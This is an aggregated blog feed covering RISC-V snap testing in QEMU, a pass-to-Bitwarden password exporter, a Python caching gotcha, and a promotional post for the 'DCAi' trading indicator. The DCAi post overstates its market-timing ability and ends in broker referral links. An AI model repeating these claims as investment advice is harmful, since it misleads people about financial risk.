<p>I maintain <a href="https://snapcraft.io/publisher/popey">nearly 50 snaps</a> in the Snap Store. Most of the time I test things on my ThinkPad running Ubuntu 24.04 (amd64), or my MacBook Air running Ubuntu Asahi (arm64). That covers the two architectures most people care about. But some of my snaps are built for more&hellip; <em>exotic</em> architectures. Things like s390x, ppc64el, and riscv64.</p>
<p>Now, I don&rsquo;t care <em>massively</em> about s390x or ppc64el – my wife (and UK house construction) has made it abundantly clear that an IBM mainframe in the spare room is a non-starter – but I do care about RISC-V. It feels like the future. Or at least, a very exciting chunk of the future.</p>
<p>The problem? I don&rsquo;t own any RISC-V hardware.</p>
<h2 id="the-hardware-question">The hardware question</h2>
<p>I recently updated <a href="https://snapcraft.io/notepadnext">Notepad Next</a> to the latest upstream release and, as I was feeling smug about shipping the update, a tiny voice in the back of my head asked: <em>&ldquo;Did you actually test this on riscv64?&rdquo;</em></p>
<p>Reader, I had not.</p>
<p>Notepad Next is a bit different from some of my other snaps. A lot of what I publish is essentially repackaged upstream .deb files – I only build for the architectures the upstream project builds for. But Notepad Next is built from source, which means I can (and do) target riscv64. Same story for ppc64el and s390x, actually.</p>
<p>Some of my other snaps need specific build tooling or components that haven&rsquo;t made it to those architectures yet – I haven&rsquo;t done a proper audit of which ones and why, but it&rsquo;s on the list. Point is: the Notepad Next riscv64 snap exists and is in the store. Whether it <em>works</em> was the question I&rsquo;d never answered.</p>
<p>So I <a href="https://discourse.ubuntu.com/t/testing-applications-on-risc-v-hardware/77319">started a thread on the Ubuntu Discourse</a> asking whether there was a reasonably priced RISC-V board I could buy that&rsquo;d run Ubuntu desktop well enough to do basic snap testing. Even just &ldquo;does the window paint?&rdquo; would do me.</p>
<p>The response from Heinrich (<a href="https://discourse.ubuntu.com/u/xypron">@xypron</a>) was quick and genuinely excellent. The short version: don&rsquo;t buy hardware quite yet. Here&rsquo;s why, and it&rsquo;s actually quite interesting.</p>
<h2 id="a-quick-detour-into-isa-profiles">A quick detour into ISA profiles</h2>
<p>RISC-V is an open instruction set architecture, which means chip designers have a lot of latitude in what they implement. That&rsquo;s great for flexibility, but software portability requires some agreement on a baseline. Enter the RVA profiles – essentially standardised bundles of RISC-V extensions that application processors must support.</p>
<p>Up to Ubuntu 24.04 (Noble) and core24, Ubuntu targets <strong>RVA20</strong> – a relatively minimal baseline. With Ubuntu 25.10 (Questing) and core26, the requirement jumps to <strong>RVA23</strong>, which mandates a much richer set of features including the Vector extension (handy for AI/ML workloads and generally going faster) and the Hypervisor extension. RVA23 was only ratified in October 2024.</p>
<p>Here&rsquo;s the fun bit: as of right now, there are essentially <em>zero</em> RVA23-compliant RISC-V boards you can actually buy. They&rsquo;re coming – a handful of promising-looking boards from Sipeed, Milk-V, Banana Pi and others are expected around April/May 2026 – but they&rsquo;re not on shelves yet. Even the Orange Pi RV2, released in March 2025, is RVA20 only, which means it already can&rsquo;t run Ubuntu 25.10. Ouch.</p>
<p>So buying hardware right now feels like bad timing. A VM, on the other hand, is free and available immediately.</p>
<h2 id="getting-the-vm-running">Getting the VM running</h2>
<p>Heinrich pointed me at the <a href="https://canonical-ubuntu-hardware-support.readthedocs-hosted.com/boards/how-to/qemu-riscv/">Canonical docs for running Ubuntu RISC-V in QEMU</a>, which are pretty solid. I hit one snag immediately: the docs reference a <code>-cpu rva23s64</code> flag in the live server image section, but when I tried it on my Ubuntu 24.04 ThinkPad, QEMU spat back:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>qemu-system-riscv64: unable to find CPU model &#39;rva23s64&#39;
</span></span></code></pre></div><p>Turns out the version of QEMU in Ubuntu 24.04 is too old to know about RVA23. You need Ubuntu 25.10 or later for that. Since I&rsquo;m firmly in the LTS camp and have no intention of running a non-LTS release on my daily driver just to get a newer QEMU, I dropped the <code>-cpu</code> flag and carried on with the default CPU emulation – which gives you RVA20, perfectly fine for testing core24-based snaps.</p>
<p>The docs do mention this, to be fair, but the caveat is tucked away in a callout box earlier in the page. If, like me, you navigate directly to the &ldquo;live server image&rdquo; section using the right-hand nav, you&rsquo;ll miss it entirely. I&rsquo;ve fed that back; hopefully it&rsquo;ll get bumped up to the prerequisites section where it belongs.</p>
<p>Anyway! Here&rsquo;s the install script I ended up using, with a couple of tweaks (I bumped the RAM up to 16GB and gave it 4 CPUs because I&rsquo;m impatient and have RAM to burn):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># https://canonical-ubuntu-hardware-support.readthedocs-hosted.com/boards/how-to/qemu-riscv/</span>
</span></span><span style="display:flex;"><span>qemu-system-riscv64 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -machine virt,acpi<span style="color:#f92672">=</span>off -m 16G -smp cpus<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -nographic <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -kernel /usr/lib/u-boot/qemu-riscv64_smode/u-boot.bin <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -netdev user,id<span style="color:#f92672">=</span>net0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -device virtio-net-device,netdev<span style="color:#f92672">=</span>net0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -device virtio-rng-pci <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -drive file<span style="color:#f92672">=</span>disk,format<span style="color:#f92672">=</span>raw,if<span style="color:#f92672">=</span>virtio <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -drive file<span style="color:#f92672">=</span>ubuntu-24.04.4-live-server-riscv64.iso,format<span style="color:#f92672">=</span>raw,if<span style="color:#f92672">=</span>virtio
</span></span></code></pre></div><p>The server installer runs headlessly (no GUI during install, which is fine). Once Ubuntu Server was installed on the virtual disk, and rebooted, I installed the desktop with <code>sudo apt install ubuntu-desktop</code>. That took a while, but when it finished, I rebooted with a slightly different launch script that adds a virtual GPU and input devices so I can actually get a desktop:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>qemu-system-riscv64 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -machine virt,acpi<span style="color:#f92672">=</span>off -m 16G -smp cpus<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -kernel /usr/lib/u-boot/qemu-riscv64_smode/u-boot.bin <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -netdev user,id<span style="color:#f92672">=</span>net0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -device virtio-net-device,netdev<span style="color:#f92672">=</span>net0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -device virtio-rng-pci <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -device virtio-gpu-pci <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -device virtio-keyboard-pci <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -device virtio-tablet-pci <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -display gtk <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -serial mon:stdio <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  -drive file<span style="color:#f92672">=</span>disk,format<span style="color:#f92672">=</span>raw,if<span style="color:#f92672">=</span>virtio
</span></span></code></pre></div><p>The key additions for desktop use are <code>virtio-gpu-pci</code> (so you get a display), <code>virtio-keyboard-pci</code>, <code>virtio-tablet-pci</code>, and <code>-display gtk</code> to open a window on the host. After a bit of fiddling – and a lot of waiting, because this thing is <em>not</em> quick – I got a working Ubuntu GNOME desktop running inside a RISC-V VM on my ThinkPad.</p>
<p>I was genuinely quite chuffed.</p>
<h2 id="did-the-snap-work">Did the snap work?</h2>
<p>Yes! See screenshot at the top of this blog.</p>
<p>I just <code>snap install</code>&lsquo;ed Notepad Next (it&rsquo;s a classic snap, so <code>--classic</code> needed), it launched, the window painted, and I could use it. I&rsquo;m not going to pretend the experience was snappy (pun very much intended) – it&rsquo;s CPU emulation all the way down, so every riscv64 instruction is being translated in software by QEMU running on my Intel i5. It&rsquo;s impressively sluggish. But for the purposes of &ldquo;does this thing actually run on riscv64&rdquo;, it absolutely does the job.</p>
<p>This isn&rsquo;t something I&rsquo;d use as a daily development environment. It&rsquo;s more like an on-demand sanity check: spin it up, install the snap, verify it launches, move on with your life.</p>
<p>Aside: I guess I could add some automation here, to spin up a machine and test each of these during the build in a GitHub action&hellip;</p>
<h2 id="what-about-my-other-snaps">What about my other snaps?</h2>
<p>Honestly, this whole exercise made me realise I should do a proper audit of my snap portfolio and riscv64 support. My current understanding is roughly:</p>
<ul>
<li><strong>Most of my snaps are amd64 only</strong> – either because the upstream doesn&rsquo;t build for other architectures, or because I&rsquo;m repackaging .deb files and only publishing what upstream provides.</li>
<li><strong>telegram-asahi is arm64 only</strong> – that one exists specifically for the Apple Silicon Linux crowd.</li>
<li><strong>Some build from source</strong> and may target riscv64 (and ppc64el and s390x) just fine.</li>
<li><strong>Various others</strong> are somewhere in between – I suspect some are missing riscv64 builds due to missing build dependencies or tools that haven&rsquo;t been ported yet, but I haven&rsquo;t actually investigated.</li>
</ul>
<p>The plan is to go through each snap and understand <em>why</em> it does or doesn&rsquo;t build for the interesting architectures, and fix what I can. I&rsquo;ll report back in another blog post.</p>
<h2 id="whats-next-for-risc-v-hardware">What&rsquo;s next for RISC-V hardware?</h2>
<p>If you&rsquo;re thinking about picking up a RISC-V board right now: it&rsquo;s complicated. Anything currently available is RVA20, which means it&rsquo;ll run Ubuntu 24.04 but not Ubuntu 25.10. The genuinely exciting RVA23 hardware (with proper vector support, better performance, etc.) is expected to land around April-May 2026. The <a href="https://deepcomputing.io/dc-roma-risc-v-mainboard-iii-unveiled-at-fosdem-powered-by-spacemit-k3-for-framework-laptop-13/">DeepComputing Framework laptop mainboard</a> in particular looks very interesting – a RISC-V chip in a Framework 13. Yes please.</p>
<p>For now though, QEMU is your friend. It&rsquo;s a bit like going to the gym – tedious, slow, not something you&rsquo;d do for fun – but you come away knowing your snap actually works on the architecture it claims to support. And that&rsquo;s got to count for something.</p>
<hr>
<p><em>Thanks to Heinrich Schuchardt (<a href="https://discourse.ubuntu.com/u/xypron">xypron</a>) from Canonical for the fast and helpful response on Discourse, and for pointing me at the docs.</em></p>]]></description>
      <source url="https://blog.popey.com/post/index.xml">Alan Pope</source>
    </item>
    <item>
      <title>Introducing pass-exporter - Export your passwords from pass to bitwarden csv format</title>
      <link>https://foursixnine.io//blog/security/software/2026/02/19/exportingyourpasswordsfrompasstobitwardencsvformat.html</link>
      <guid isPermaLink="true">https://foursixnine.io//blog/security/software/2026/02/19/exportingyourpasswordsfrompasstobitwardencsvformat.html</guid>
      <pubDate>Thu, 19 Feb 2026 00:00:00 GMT</pubDate>
      <description><![CDATA[<p>This is a rudimentary attempt (that surprisingly works) to export passwords from <a href="https://www.passwordstore.org">pass</a> to Bitwarden  <a href="https://bitwarden.com/help/condition-bitwarden-import/">csv format</a></p>

<p>As a requisite you need to have the private key that protects the passwords, exported as an ASCII armored key (Or whatever the nomenclature is), the important bit is that you export it:</p>

<p><code class="language-plaintext highlighter-rouge">gpg --export-secret-keys --armor $YOURFINGERPRINT &gt; private-key.asc</code></p>

<p>To run simply run, you need to clone the sources from the <a href="https://github.com/foursixnine/pass-exporter">git repo</a> and inside the directory run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>go run . --private-key private-key.asc --identity alice@example.com
</code></pre></div></div>

<p>Alternatively you can build it and then run it (Sky is the limit)</p>

<p>You can check usage too by passing <code class="language-plaintext highlighter-rouge">--help</code>, It runs fairly fast, and in the end up with a <code class="language-plaintext highlighter-rouge">pass_exported_passwords.csv</code> (again see program help for defaults).</p>

<p>A feature that I’d like to add is a support for user plugins, to i.e check if an otp token is duplicated, or if a password is being reused, but that’s for the future</p>

<p>As usual PRs are welcome, specially for adding tests.</p>

<p>PS: “Maybe” I fix the program to be able to be installed via <code class="language-plaintext highlighter-rouge">go install $foo</code> (or somebody submits a PR :D)</p>

<p><a href="https://github.com/foursixnine/pass-exporter">https://github.com/foursixnine/pass-exporter</a></p>]]></description>
      <source url="https://foursixnine.io/atom.xml">Santiago Zarate</source>
    </item>
    <item>
      <title>Python Mutable References with Caching</title>
      <link>https://soumyadghosh.github.io/website/blog/python-mutable-reference-caching/</link>
      <guid isPermaLink="true">https://soumyadghosh.github.io/website/blog/python-mutable-reference-caching/</guid>
      <pubDate>Sat, 14 Feb 2026 18:08:23 GMT</pubDate>
      <description><![CDATA[<p>So, while working with caching and scrapping, I understood the difference between immutable and mutable objects/datatypes very clearly. I had a scenario, where I am webscraping an API, the code looks like this.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> aiocache <span style="color:#f92672">import</span> cached
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@cached</span>(ttl<span style="color:#f92672">=</span><span style="color:#ae81ff">7200</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_forecast</span>(station_id: str) <span style="color:#f92672">-&gt;</span> list[dict]:
</span></span><span style="display:flex;"><span> data: dict <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> scrape_weather(station_id)
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># doing some operation</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> forecasts
</span></span></code></pre></div><p>and then using this utility tool in the endpoint.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_forecast_by_city</span>(
</span></span><span style="display:flex;"><span> param: Annotated[StationIDQuery, Query()],
</span></span><span style="display:flex;"><span>) <span style="color:#f92672">-&gt;</span> list[UpcomingForecast]:
</span></span><span style="display:flex;"><span> forecasts_dict: list[dict] <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> get_forecast(param<span style="color:#f92672">.</span>station_id)
</span></span><span style="display:flex;"><span> forecasts_dict<span style="color:#f92672">.</span>reversed()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> forecasts: deque[UpcomingForecast] <span style="color:#f92672">=</span> deque([])
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> forecast <span style="color:#f92672">in</span> forecasts_dict:
</span></span><span style="display:flex;"><span> date_delta: int <span style="color:#f92672">=</span> (
</span></span><span style="display:flex;"><span> date<span style="color:#f92672">.</span>fromisoformat(forecast[<span style="color:#e6db74">&#34;forecast_date&#34;</span>]) <span style="color:#f92672">-</span> date<span style="color:#f92672">.</span>today()
</span></span><span style="display:flex;"><span> )<span style="color:#f92672">.</span>days
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> date_delta <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span> forecasts<span style="color:#f92672">.</span>appendleft(UpcomingForecast<span style="color:#f92672">.</span>model_validate(forecast))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> list(forecasts)
</span></span></code></pre></div><p>But, here is the gotcha, something I was doing inherently wrong. Lists in python are mutable objects. So, reversing the list modifies the list in place, without creating a new reference of the list. My initial approach was to do this</p>]]></description>
      <source url="https://soumyadghosh.github.io/website/index.xml">Soumyadeep Ghosh</source>
    </item>
    <item>
      <title>Smart DCA Strategy – Meet DCAi That Times the Dip The Open Source Machine Learning</title>
      <link>https://utappia.org/2026/02/13/smart-dca-strategy-machine-learning-dcai/</link>
      <guid isPermaLink="true">https://utappia.org/2026/02/13/smart-dca-strategy-machine-learning-dcai/</guid>
      <pubDate>Fri, 13 Feb 2026 17:57:58 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">Is your Dollar Cost Averaging strategy &#8220;blind&#8221;? Buying on the 1st of the month is disciplined, but buying during a crash is profitable. Here is how the open source Smart DCA Strategy, based on <a href="https://en.wikipedia.org/wiki/K-nearest_neighbors_algorithm">K-Nearest Neighbors (KNN) algorithm</a> can help you aggressively buy the dips and preserve cash when the market is overheated.</p>



<p class="wp-block-paragraph">A few months ago, I analyzed <a href="https://arxiv.org/abs/2308.05200" type="link" id="https://arxiv.org/abs/2308.05200">a research paper on &#8220;Smart DCA Strategy&#8221;</a> and developed a <strong>TradingView PineScript</strong> indicator to implement it. The original concept was useful—it calculated the ideal investment amount based on price levels—but it lacked a crucial element: <strong>Timing.</strong></p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">I didn&#8217;t just want to know <strong><em>how much</em> to buy</strong> with my DCA strategy; </p>



<p class="wp-block-paragraph">I needed to know <em><strong>when</strong></em> to deploy that capital for maximum, long term impact.</p>
</blockquote>



<p class="wp-block-paragraph">By integrating Machine Learning into the Smart DCA Strategy, I programmed the indicator to identify &#8220;fair value&#8221; based on historical price action. The result? A system that signals exactly when to enter and how much to commit, giving you the <em>psychological confidence</em> that you aren&#8217;t just buying at random.</p>



<p class="wp-block-paragraph">I call it <strong>DCAi</strong> (DCA + AI)&#8230;. yeah I know right&#8230; what a name <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f61b.png" alt="😛" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="1022" height="439" src="https://utappia.org/wp-content/uploads/2026/02/dcai-machine-learning.webp" alt="DCAi – The Machine Learning Strategy That Times the Dip" class="wp-image-49946" srcset="https://utappia.org/wp-content/uploads/2026/02/dcai-machine-learning.webp 1022w, https://utappia.org/wp-content/uploads/2026/02/dcai-machine-learning-300x129.webp 300w, https://utappia.org/wp-content/uploads/2026/02/dcai-machine-learning-768x330.webp 768w" sizes="(max-width: 1022px) 100vw, 1022px" /></figure>



<h2 class="wp-block-heading">What is DCAi?</h2>



<p class="wp-block-paragraph">Think of DCAi as an <a href="https://utappia.org/2025/07/10/ai-terminal-free/">intelligent Ai</a> assistant that scans market history inside TradingView.</p>



<ul class="wp-block-list">
<li><strong>When the market rallies:</strong> The assistant warns you: <em>&#8220;Do not buy now. The price is overextended. Keep your cash in the &#8216;Savings Pot&#8217; and wait for the next correction.&#8221;</em></li>



<li><strong>When the market drops:</strong> It scans historical data to see if similar price structures in the past led to a recovery. If the algorithm identifies a high statistical probability of a bounce, it signals a <strong>Buy</strong>.</li>
</ul>



<h2 class="wp-block-heading">Why DCAi Smart DCA Strategy Outperforms Traditional DCA</h2>



<p class="wp-block-paragraph">The fact is that the standard DCA builds discipline. However, it is a static strategy — you buy the same amount on the same day, regardless of whether the market is crashing or &#8220;<em>mooning</em>&#8220;. DCAi is a Smart DCA Strategy that introduces <strong>three dynamic concepts </strong>to optimize your returns:</p>



<h3 class="wp-block-heading">1. Dynamic Sizing (The Rho Parameter)</h3>



<p class="wp-block-paragraph">In your standard monthly DCA, you invest $100 whether Bitcoin is at $100,000 or $20,000. </p>



<p class="wp-block-paragraph">In contrast, the DCAi the <strong><em>Rho</em></strong> parameter to adjust your exposure.</p>



<ul class="wp-block-list">
<li><strong>How it works:</strong> instead of a fixed amount, the DCAi measures the deviation of the current price from its historical average.
<ul class="wp-block-list">
<li><strong>Flat Market:</strong> It invests your base budget.</li>



<li><strong>Market Crash:</strong> If the price drops significantly (e.g., -40%), the algorithm aggressively increases the buy amount, allowing you to <em><strong>lower your average entry price</strong></em> faster.</li>
</ul>
</li>
</ul>



<h3 class="wp-block-heading">2. Statistical Confidence (KNN Algorithm)</h3>



<p class="wp-block-paragraph">The DCAi system doesn&#8217;t &#8220;predict&#8221; the future; it compares the present to the past using the <strong>K-Nearest Neighbors (KNN)</strong> algorithm.</p>



<ul class="wp-block-list">
<li><strong>How it works:</strong> KNN looks for historical moments where technical indicators (like volume and volatility) mirrored today&#8217;s price action. If the majority of those historical instances resulted in an uptrend, the system generates a signal with a &#8220;Confidence Score.&#8221;</li>
</ul>



<h3 class="wp-block-heading">3. The &#8220;Savings Pot&#8221; in the DCAi &#8211; Smart DCA Strategy</h3>



<p class="wp-block-paragraph">If the market is in a parabolic uptrend (&#8220;Mooning&#8221;) and there are no safe entry points, DCAi will try to prevent you from buying the top.</p>



<ul class="wp-block-list">
<li><strong>How it works:</strong> If the Machine Learning model detects low confidence for the month, it halts trading. Your monthly budget is moved to a virtual <strong>Savings Pot</strong>.</li>



<li><strong>The Advantage:</strong> This cash accumulates. When a major correction finally occurs, you have a stockpile of &#8220;dry powder&#8221; ready to deploy at the bottom.</li>
</ul>



<h2 class="wp-block-heading">The Limitations: No Algorithm is Magic so is the DCAi Smart DCA Strategy</h2>



<p class="wp-block-paragraph">DCAi is a powerful tool, but it has limitations you must understand and accept:</p>



<ul class="wp-block-list">
<li><strong>False Signals:</strong> Historical probability does not guarantee future performance. The market can signal a buy, yet the price may continue to fall.</li>



<li><strong>Overfitting:</strong> The algorithm learns from known history. If a &#8220;Black Swan&#8221; event occurs (a scenario never seen before), the model may misinterpret the data.</li>



<li><strong>Lag:</strong> DCAi confirms signals on candle closes (e.g., Daily close). In a rapid V-shape recovery, you might buy slightly higher than the absolute bottom.</li>



<li><strong>Platform Limits:</strong> TradingView limits the script&#8217;s &#8220;memory&#8221; to about 3,000 candles. For this reason, <strong>Daily (D) or Weekly (W) timeframes are highly recommended.</strong></li>
</ul>



<p class="wp-block-paragraph"><em>Recommendation: Always backtest and forward-test using Paper Trading for 1-3 months before using real capital.</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Step-by-Step Installation Guide</h2>



<p class="wp-block-paragraph">Ready to automate your analysis? Follow these steps to set up DCAi on TradingView.</p>



<h3 class="wp-block-heading">1. Install the Script</h3>



<p class="wp-block-paragraph">Open your chart on TradingView and locate the <strong>Pine Editor</strong> tab at the bottom.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="615" height="502" src="https://utappia.org/wp-content/uploads/2026/02/image.png" alt="" class="wp-image-49947" srcset="https://utappia.org/wp-content/uploads/2026/02/image.png 615w, https://utappia.org/wp-content/uploads/2026/02/image-300x245.png 300w" sizes="(max-width: 615px) 100vw, 615px" /></figure>
</div>


<p class="wp-block-paragraph">Clear any existing code in the editor.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="1024" height="259" src="https://utappia.org/wp-content/uploads/2026/02/image-1.png" alt="DCAi pine script" class="wp-image-49950" srcset="https://utappia.org/wp-content/uploads/2026/02/image-1.png 1024w, https://utappia.org/wp-content/uploads/2026/02/image-1-300x76.png 300w, https://utappia.org/wp-content/uploads/2026/02/image-1-768x194.png 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<p class="wp-block-paragraph">Copy the official DCAi code:</p>



<ul class="wp-block-list">
<li><strong>Source Code:</strong> <a href="https://github.com/cerebrux/DCAi/blob/stable/dcai.pine" target="_blank" rel="noreferrer noopener"><strong>https://github.com/cerebrux/DCAi/blob/stable/dcai.pine</strong></a></li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="680" height="362" src="https://utappia.org/wp-content/uploads/2026/02/image-1-2.png" alt="dcai.pine" class="wp-image-49951" srcset="https://utappia.org/wp-content/uploads/2026/02/image-1-2.png 680w, https://utappia.org/wp-content/uploads/2026/02/image-1-2-300x160.png 300w" sizes="auto, (max-width: 680px) 100vw, 680px" /></figure>
</div>


<p class="wp-block-paragraph">Paste the code, click <strong>Save</strong>, and then select <strong>&#8220;Add to chart&#8221;</strong>.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="640" height="255" src="https://utappia.org/wp-content/uploads/2026/02/image-1-3.png" alt="dcai add to the chart" class="wp-image-49952" srcset="https://utappia.org/wp-content/uploads/2026/02/image-1-3.png 640w, https://utappia.org/wp-content/uploads/2026/02/image-1-3-300x120.png 300w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>


<p class="wp-block-paragraph">Once you add it, it will start the training to past price action data and it will look like :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="1024" height="781" src="https://utappia.org/wp-content/uploads/2026/02/image-1-4.webp" alt="Smart DCA Strategy DCAi Strategy Indicator" class="wp-image-49954" srcset="https://utappia.org/wp-content/uploads/2026/02/image-1-4.webp 1024w, https://utappia.org/wp-content/uploads/2026/02/image-1-4-300x229.webp 300w, https://utappia.org/wp-content/uploads/2026/02/image-1-4-768x586.webp 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<h3 class="wp-block-heading">2. Asset Configuration</h3>



<p class="wp-block-paragraph">DCAi requires different settings for Crypto versus Stocks. You must configure it for the asset you are trading.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="712" height="165" src="https://utappia.org/wp-content/uploads/2026/02/image-1-5.png" alt="DCAi indicator Smart DCA Strategy " class="wp-image-49957" srcset="https://utappia.org/wp-content/uploads/2026/02/image-1-5.png 712w, https://utappia.org/wp-content/uploads/2026/02/image-1-5-300x70.png 300w" sizes="auto, (max-width: 712px) 100vw, 712px" /></figure>
</div>


<ol start="1" class="wp-block-list">
<li>Click the <strong>Settings</strong> (gear icon) on the DCAi indicator.</li>



<li>Select your <strong>Asset Class</strong> (Crypto, Stocks, Indices, or Commodities).</li>



<li>Set your <strong>Start Date</strong> (e.g., the 1st of the current month).</li>



<li>Set your <strong>Base Monthly Budget</strong> (e.g., $100). This is the amount you <em>would</em> spend in a standard DCA strategy.</li>



<li><strong>Crucial:</strong> Ensure your chart is on the <strong>Daily Timeframe</strong>.</li>



<li>Select the ticker based on the Asset Class you choose</li>
</ol>



<h3 class="wp-block-heading">3.  Smart DCA Strategy Execution</h3>



<p class="wp-block-paragraph">Once set up, patience is key.</p>



<ul class="wp-block-list">
<li><strong>No Signal?</strong> If a month passes without a signal, <strong>do not spend your budget.</strong> Keep it in your &#8220;account&#8221;. The script will automatically add the months amount to your &#8220;Savings Pot&#8221; on the dashboard.</li>



<li><strong>Buy Signal?</strong> The chart will display a label with the exact amount to invest.
<ul class="wp-block-list">
<li><em>Example:</em> If the label says <strong>$124</strong>, it means the algorithm is using your $100 monthly budget plus $24 from your accumulated savings to buy the dip.</li>
</ul>
</li>
</ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1023" height="566" src="https://utappia.org/wp-content/uploads/2026/02/image-1-7.webp" alt="Smart DCA Strategy DCAi settings" class="wp-image-49959" srcset="https://utappia.org/wp-content/uploads/2026/02/image-1-7.webp 1023w, https://utappia.org/wp-content/uploads/2026/02/image-1-7-300x166.webp 300w, https://utappia.org/wp-content/uploads/2026/02/image-1-7-768x425.webp 768w" sizes="auto, (max-width: 1023px) 100vw, 1023px" /></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Where to Execute Your Trades</h2>



<p class="wp-block-paragraph">Once DCAi gives the signal, you need a platform with low fees and flexible execution. Here are two recommendations with signup bonuses:</p>



<p class="wp-block-paragraph"><strong>For Bitcoin (The &#8220;Bitcoin Only&#8221; Strategy):</strong></p>



<p class="wp-block-paragraph"><strong>Strike</strong> is the superior choice for pure Bitcoin accumulation due to its minimal fees.</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://invite.strike.me/QWHYWZ">Sign up for Strike here to claim your bonus</a></li>



<li>Deposit your DCA amount</li>



<li><strong>Bonus:</strong> You get a €500 cumulative fee-free Bitcoin purchases.</li>
</ul>



<p class="wp-block-paragraph"><strong>For ETFs &amp; Stocks (e.g., S&amp;P 500):</strong></p>



<p class="wp-block-paragraph">If you are building a diversified portfolio, <strong>Trading 212</strong> is ideal for fractional investing (you can invest as little as €1).</p>



<ol start="1" class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://www.trading212.com/invite/4DrudI95mps">Open a Trading 212 account and get a free share</a> <em>(Promo valid until March 4, 2026)</em>.</li>



<li>Create a free virtual Visa card and add it to Apple/Google Wallet (Earn 1.5% cashback on investments. Promo ends in 02/28 ).</li>



<li>Instant, fee-free deposits via Google/Apple Pay.</li>
